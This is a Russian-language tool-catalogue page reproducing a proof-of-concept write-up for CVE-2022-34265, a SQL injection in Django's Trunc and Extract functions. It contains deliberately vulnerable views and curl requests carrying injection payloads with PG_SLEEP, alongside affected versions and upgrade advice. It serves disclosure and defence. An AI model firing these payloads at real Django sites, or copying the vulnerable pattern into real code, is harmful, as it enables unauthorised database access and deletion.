Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-34265 — PoC для CVE-2022-34265 (Django) | Kitploit
Инструменты/GitHubGitHub/aeyesec/cve-2022-34265
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Баз Данных
GitHubaeyesec/cve-2022-34265

CVE-2022-34265

PoC для CVE-2022-34265 (Django)

Репозиторий
1241534 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-34265

Использование

запуск

root@kitploit:~
docker-compose build
docker-compose up -d

остановка

root@kitploit:~
docker-compose down

Проверка PoC уязвимости Django (CVE-2022-34265)

Уязвимость (CVE-2022-34265) в Django была раскрыта 5 июля 2022 года (время США). В этой статье описывается наше обсуждение этой уязвимости и результаты её проверки.

Сводка по уязвимости

Эта уязвимость связана с некорректной обработкой строк при выполнении SQL для аргументов функций Trunc и Extract, используемых для работы с датами в Django. При передаче параметров запроса как есть в аргумент kind функции Trunc или аргумент функции существует риск выполнения произвольных SQL минут. Используя эту уязвимость, третье лицо может отправлять команды в базу данных для получения несанкционированного доступа к данным или удаления базы данных.

Скачать инструмент
lookup_name
Extract

Затронутые версии

  • Django 3.2.x до версии 3.2.14
  • Django 4.0.x до версии 4.0.6

Меры противодействия

  • Обновиться до Django 3.2.14 или выше.
  • Обновиться до Django 4.0.6 или выше.

История уязвимости и соображения

Многие из уязвимостей, обнаруженных в Django в прошлом, были SQL-инъекциями, и мы задались вопросом, существуют ли другие уязвимости, подобные CVE-2020-7471, поэтому мы поочерёдно проверили аргументы функций базы данных и нашли аргументы, которые не были обезврежены. Takuto Yoshikai (автор) сообщил об этом в IPA и команде разработчиков Django.

В результате в релизе, исправляющем CVE-2022-34265, были предприняты следующие действия:

  • Обработка строк уязвимых аргументов
    • Обработка строк для предотвращения искажения SQL-выражений при включении одинарных кавычек или других символов в аргументы

Среда проверки

  • ThinkPad Ubuntu20.04
  • Python 3.9.7
  • Django 4.0.5

Процедура и результаты проверки

Конфигурация

  • Название проекта: project
  • Название приложения: vuln

Исходный код

vuln/models.py

Мы использовали пример из документации Django — модель для таблицы, фиксирующей время начала и окончания события.

root@kitploit:~
from django.db import models

class Experiment(models.Model):
    start_datetime = models.DateTimeField()
    start_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)
    end_datetime = models.DateTimeField(null=True, blank=True)
    end_date = models.DateField(null=True, blank=True)
    end_time = models.TimeField(null=True, blank=True)

vuln/views.py

root@kitploit:~
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers

# /extract/?lookup_name=xxx

def vuln_extract(request):
    payload = request.GET.get('lookup_name')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

# /trunc/?kind=xxx
def vuln_trunc(request):
    payload = request.GET.get('kind')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

root@kitploit:~
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))

Это фильтрует номера года в столбце start_datetime таблицы Experiment, которые совпадают с годом, месяцем, днём, часом, минутой, секундой и т.д. поля end_datetime. Отсюда может быть запущена уязвимость SQL-инъекции.

root@kitploit:~
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))

Функция Trunc используется для усечения определённых частей даты и времени (год, месяц, день, час, минута, секунда и т.д.). В приведённом выше примере start_datetime и start_datetime с усечённой частью payload совпадают. Отсюда может быть запущена уязвимость SQL-инъекции.

PoC

Для проверки успешности атаки используется инструкция PG_SLEEP, чтобы увидеть, есть ли задержка во времени возврата ответа.

root@kitploit:~
# Обычный URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"

# URL, в котором можно выполнить инструкцию базы данных
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"

Я указал 5 секунд в PG_SLEEP, но, похоже, PG_SLEEP(5) занимает несколько секунд. По-видимому, в зависимости от реализации и ситуации он вызывается в течение нескольких секунд. Поскольку можно выполнять произвольные SQL-выражения, возможны опасные атаки, такие как удаление базы данных.

Заключение

В результате нашего обсуждения и проверки мы пришли к выводу, что существует вероятность успешной атаки в зависимости от реализации. Мы рекомендуем обновить систему как можно скорее, чтобы избежать риска DROP TABLE в худшем случае.

Справочная информация

  • https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34265
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7471